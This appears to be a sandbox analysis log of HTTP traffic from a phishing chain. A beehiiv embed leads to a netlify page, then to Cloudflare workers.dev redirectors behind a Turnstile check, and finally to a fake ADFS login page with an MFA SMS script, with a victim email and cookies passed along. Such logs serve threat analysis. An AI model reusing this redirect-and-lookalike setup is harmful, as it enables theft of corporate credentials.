Source: global traffic	HTTP traffic detected: GET /img/favicon.png HTTP/1.1Host: embeds.beehiiv.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=gKUqizynHyiBUiInGGV.OzDOx0Iolz1OJLuTGQ56esM-1738878766-1.0.1.1-J0U9Z.lQenbnvWJmehd6iga0HkamoeIvrvpFW.UbIdLT6FVJG1K29jgZjnSA7hXdVIkqjFg2ur4LTZkhAT6Lcg
Source: global traffic	HTTP traffic detected: GET /api/v2/collector HTTP/1.1Host: collector-pxebumdlwe.px-cloud.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /api/v2/collector HTTP/1.1Host: collector-pxebumdlwe.px-cloud.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /api/submit HTTP/1.1Host: embeds.beehiiv.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=gKUqizynHyiBUiInGGV.OzDOx0Iolz1OJLuTGQ56esM-1738878766-1.0.1.1-J0U9Z.lQenbnvWJmehd6iga0HkamoeIvrvpFW.UbIdLT6FVJG1K29jgZjnSA7hXdVIkqjFg2ur4LTZkhAT6Lcg; _pxhd=41961b010370d94547e8e986b2de1ffaba94c3bf9bf2e786a12f7732a1afc8e1:b4bd43c9-e4d4-11ef-bf9a-1e4f7a051ae7
Source: global traffic	HTTP traffic detected: GET /?email=joe.doe%40jpmchase.net HTTP/1.1Host: appends.netlify.appConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentReferer: https://embeds.beehiiv.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/index-BTn4qouO.js HTTP/1.1Host: appends.netlify.appConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://appends.netlify.appsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://appends.netlify.app/?email=joe.doe%40jpmchase.netAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/index-CcA_fNee.css HTTP/1.1Host: appends.netlify.appConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://appends.netlify.appsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: styleReferer: https://appends.netlify.app/?email=joe.doe%40jpmchase.netAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/index-BTn4qouO.js HTTP/1.1Host: appends.netlify.appConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /joe.doe@jpmchase.net HTTP/1.1Host: lucky-mud-238c.vencillrina33.workers.devConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: documentReferer: https://appends.netlify.app/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /joe.doe@jpmchase.net HTTP/1.1Host: b8d1a7c1.nhubiubuniunuion.workers.devConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://appends.netlify.app/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/api.js?onload=onloadTurnstileCallback HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://b8d1a7c1.nhubiubuniunuion.workers.dev/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/g/8a57887573f2/api.js HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://b8d1a7c1.nhubiubuniunuion.workers.dev/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/7bs2h/0x4AAAAAAAcGNtktljfyIfzu/auto/fbE/new/normal/auto/ HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://b8d1a7c1.nhubiubuniunuion.workers.dev/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/g/8a57887573f2/api.js HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/orchestrate/chl_api/v1?ray=90de5efa9f9b4270&lang=auto HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/7bs2h/0x4AAAAAAAcGNtktljfyIfzu/auto/fbE/new/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/cmg/1 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/7bs2h/0x4AAAAAAAcGNtktljfyIfzu/auto/fbE/new/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/cmg/1 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/orchestrate/chl_api/v1?ray=90de5efa9f9b4270&lang=auto HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: b8d1a7c1.nhubiubuniunuion.workers.devConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://b8d1a7c1.nhubiubuniunuion.workers.dev/joe.doe@jpmchase.netAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/flow/ov1/1871500045:1738876553:gwP5PQElp8i0QGgoFTIFajEXbenqufAX4-ht_t_quNU/90de5efa9f9b4270/NWyR_5w57ewxoli53EzUK4ibR6_1drh3yw4CPb8hQ40-1738878785-1.1.1.1-dEMbb.VuiJbWppZJe.0_LtRj.FStqyoOvmd.pmUdBIiRTMPZO1GBxpwIIdEyrgm3 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/pat/90de5efa9f9b4270/1738878787358/20f20b68af7c20ef13f4e7128e5a75f37813ac60ee46a069a546b0332c4acc09/UvcoVNn6Yv9WD-g HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveCache-Control: max-age=0sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/7bs2h/0x4AAAAAAAcGNtktljfyIfzu/auto/fbE/new/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/d/90de5efa9f9b4270/1738878787360/DWLh0Lf64_o4Zla HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/7bs2h/0x4AAAAAAAcGNtktljfyIfzu/auto/fbE/new/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: example.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://b8d1a7c1.nhubiubuniunuion.workers.dev/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/d/90de5efa9f9b4270/1738878787360/DWLh0Lf64_o4Zla HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: example.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/flow/ov1/1871500045:1738876553:gwP5PQElp8i0QGgoFTIFajEXbenqufAX4-ht_t_quNU/90de5efa9f9b4270/NWyR_5w57ewxoli53EzUK4ibR6_1drh3yw4CPb8hQ40-1738878785-1.1.1.1-dEMbb.VuiJbWppZJe.0_LtRj.FStqyoOvmd.pmUdBIiRTMPZO1GBxpwIIdEyrgm3 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/flow/ov1/1871500045:1738876553:gwP5PQElp8i0QGgoFTIFajEXbenqufAX4-ht_t_quNU/90de5efa9f9b4270/NWyR_5w57ewxoli53EzUK4ibR6_1drh3yw4CPb8hQ40-1738878785-1.1.1.1-dEMbb.VuiJbWppZJe.0_LtRj.FStqyoOvmd.pmUdBIiRTMPZO1GBxpwIIdEyrgm3 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /?username=joe.doe@jpmchase.net HTTP/1.1Host: 628jpkkq.nhubiubuniunuion.workers.devConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-siteSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentReferer: https://b8d1a7c1.nhubiubuniunuion.workers.dev/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: 628jpkkq.nhubiubuniunuion.workers.devConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://628jpkkq.nhubiubuniunuion.workers.dev/?username=joe.doe@jpmchase.netAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: fpc=AmiLNG3jFw5GqHaWX1cnYkg; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; esctx-O7GWXMK9Yw=AQABCQEAAABVrSpeuWamRam2jAF1XRQE-F8SOtE4mA7goMUaNxnb5zysPPvc55qcI8h11pOPYrgi6C40JNaXlLN6tPBgfYlim_N0S1wOrR1mon1kcxsrl9TTEwQ5mHhSjFX8zfgYemG_d3Cnyvy6Lc0wAsgqDU9chDe-qK7Puc7rUOwudLGwdSAA; esctx=PAQABBwEAAABVrSpeuWamRam2jAF1XRQEvqco4rb-D7YIcOaEnnO02AAZkqKnvpEr_R21SjGQxWEs0zRcf3-sCWcFcIlB410iEE7-_45nNACUVG-kPkCYwaMS-g351pmTU6XByNRo9rtekHvH7xUpUTJLogvND0EcUWpPa4J3SJ-iIn1clgRIngPYCzQ2Tk4E5w0nRn365KcgAA; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1
Source: global traffic	HTTP traffic detected: GET /?username=joe.doe@jpmchase.net&sso_reload=true HTTP/1.1Host: 628jpkkq.nhubiubuniunuion.workers.devConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-Dest: documentReferer: https://628jpkkq.nhubiubuniunuion.workers.dev/?username=joe.doe@jpmchase.netAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: fpc=AmiLNG3jFw5GqHaWX1cnYkg; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; esctx-O7GWXMK9Yw=AQABCQEAAABVrSpeuWamRam2jAF1XRQE-F8SOtE4mA7goMUaNxnb5zysPPvc55qcI8h11pOPYrgi6C40JNaXlLN6tPBgfYlim_N0S1wOrR1mon1kcxsrl9TTEwQ5mHhSjFX8zfgYemG_d3Cnyvy6Lc0wAsgqDU9chDe-qK7Puc7rUOwudLGwdSAA; esctx=PAQABBwEAAABVrSpeuWamRam2jAF1XRQEvqco4rb-D7YIcOaEnnO02AAZkqKnvpEr_R21SjGQxWEs0zRcf3-sCWcFcIlB410iEE7-_45nNACUVG-kPkCYwaMS-g351pmTU6XByNRo9rtekHvH7xUpUTJLogvND0EcUWpPa4J3SJ-iIn1clgRIngPYCzQ2Tk4E5w0nRn365KcgAA; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1
Source: global traffic	HTTP traffic detected: GET /adfs/portal/css/style.css?id=92FFAEA8C82FCBDF22311C649ADC37203D8FD788F7C28F248517BA0B0E55FABE HTTP/1.1Host: 628jpkkq.nhubiubuniunuion.workers.devConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://628jpkkq.nhubiubuniunuion.workers.dev/?username=joe.doe@jpmchase.net&sso_reload=trueAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: fpc=AmiLNG3jFw5GqHaWX1cnYkg; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; esctx-O7GWXMK9Yw=AQABCQEAAABVrSpeuWamRam2jAF1XRQE-F8SOtE4mA7goMUaNxnb5zysPPvc55qcI8h11pOPYrgi6C40JNaXlLN6tPBgfYlim_N0S1wOrR1mon1kcxsrl9TTEwQ5mHhSjFX8zfgYemG_d3Cnyvy6Lc0wAsgqDU9chDe-qK7Puc7rUOwudLGwdSAA; esctx=PAQABBwEAAABVrSpeuWamRam2jAF1XRQEvqco4rb-D7YIcOaEnnO02AAZkqKnvpEr_R21SjGQxWEs0zRcf3-sCWcFcIlB410iEE7-_45nNACUVG-kPkCYwaMS-g351pmTU6XByNRo9rtekHvH7xUpUTJLogvND0EcUWpPa4J3SJ-iIn1clgRIngPYCzQ2Tk4E5w0nRn365KcgAA; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; ppnet_4651=!xWxa2t6Y0GLWHGlpoIMsdGtGtumJdzba1cw9/W8RGKInxCcN92C+4wBr5HyfTsXZA3bnrWLg0GSfVmA=
Source: global traffic	HTTP traffic detected: GET /adfs/fs/federationserverservice.asmx HTTP/1.1Host: 628jpkkq.nhubiubuniunuion.workers.devConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://628jpkkq.nhubiubuniunuion.workers.dev/?username=joe.doe@jpmchase.net&sso_reload=trueAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: fpc=AmiLNG3jFw5GqHaWX1cnYkg; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; esctx-O7GWXMK9Yw=AQABCQEAAABVrSpeuWamRam2jAF1XRQE-F8SOtE4mA7goMUaNxnb5zysPPvc55qcI8h11pOPYrgi6C40JNaXlLN6tPBgfYlim_N0S1wOrR1mon1kcxsrl9TTEwQ5mHhSjFX8zfgYemG_d3Cnyvy6Lc0wAsgqDU9chDe-qK7Puc7rUOwudLGwdSAA; esctx=PAQABBwEAAABVrSpeuWamRam2jAF1XRQEvqco4rb-D7YIcOaEnnO02AAZkqKnvpEr_R21SjGQxWEs0zRcf3-sCWcFcIlB410iEE7-_45nNACUVG-kPkCYwaMS-g351pmTU6XByNRo9rtekHvH7xUpUTJLogvND0EcUWpPa4J3SJ-iIn1clgRIngPYCzQ2Tk4E5w0nRn365KcgAA; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; ppnet_4651=!xWxa2t6Y0GLWHGlpoIMsdGtGtumJdzba1cw9/W8RGKInxCcN92C+4wBr5HyfTsXZA3bnrWLg0GSfVmA=
Source: global traffic	HTTP traffic detected: GET /adfs/portal/script/mfaotpsms.js HTTP/1.1Host: 628jpkkq.nhubiubuniunuion.workers.devConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://628jpkkq.nhubiubuniunuion.workers.dev/?username=joe.doe@jpmchase.net&sso_reload=trueAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: fpc=AmiLNG3jFw5GqHaWX1cnYkg; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; esctx-O7GWXMK9Yw=AQABCQEAAABVrSpeuWamRam2jAF1XRQE-F8SOtE4mA7goMUaNxnb5zysPPvc55qcI8h11pOPYrgi6C40JNaXlLN6tPBgfYlim_N0S1wOrR1mon1kcxsrl9TTEwQ5mHhSjFX8zfgYemG_d3Cnyvy6Lc0wAsgqDU9chDe-qK7Puc7rUOwudLGwdSAA; esctx=PAQABBwEAAABVrSpeuWamRam2jAF1XRQEvqco4rb-D7YIcOaEnnO02AAZkqKnvpEr_R21SjGQxWEs0zRcf3-sCWcFcIlB410iEE7-_45nNACUVG-kPkCYwaMS-g351pmTU6XByNRo9rtekHvH7xUpUTJLogvND0EcUWpPa4J3SJ-iIn1clgRIngPYCzQ2Tk4E5w0nRn365KcgAA; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; ppnet_4651=!xWxa2t6Y0GLWHGlpoIMsdGtGtumJdzba1cw9/W8RGKInxCcN92C+4wBr5HyfTsXZA3bnrWLg0GSfVmA=
